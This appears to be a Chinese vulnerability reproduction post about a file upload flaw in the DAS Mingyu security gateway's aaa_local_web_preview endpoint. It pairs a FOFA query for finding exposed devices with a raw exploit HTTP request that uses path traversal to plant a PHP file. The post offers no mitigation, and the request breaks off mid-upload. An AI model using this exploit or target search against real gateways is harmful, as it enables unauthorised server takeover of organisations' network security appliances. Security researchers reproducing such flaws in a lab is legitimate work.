安恒明御安全网关 aaa_local_web_preview文件上传漏洞复现

0x01 产品简介

明御安全网关秉持安全可视、简单有效的理念，以资产为视角，构建全流程防御的下一代安全防护体系，并融合传统防火墙、入侵检测、入侵防御系统、防病毒网关、上网行为管控、VPN网关、威胁情报等安全模块于一体的智慧化安全网关。

0x02 漏洞概述

明御安全网关在aaa_local_web_preview文件处存在文件上传漏洞，攻击者可以利用该漏洞上传恶意文件进而进行敏感操作获取服务器权限。

0x03 复现环境

FOFA：title="明御安全网关"

0x04 漏洞复现

PoC

POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../rce.php HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=849978f98abe41119122148e4aa65b1a
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

--849978f98abe41119122148e4aa65b1a
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php&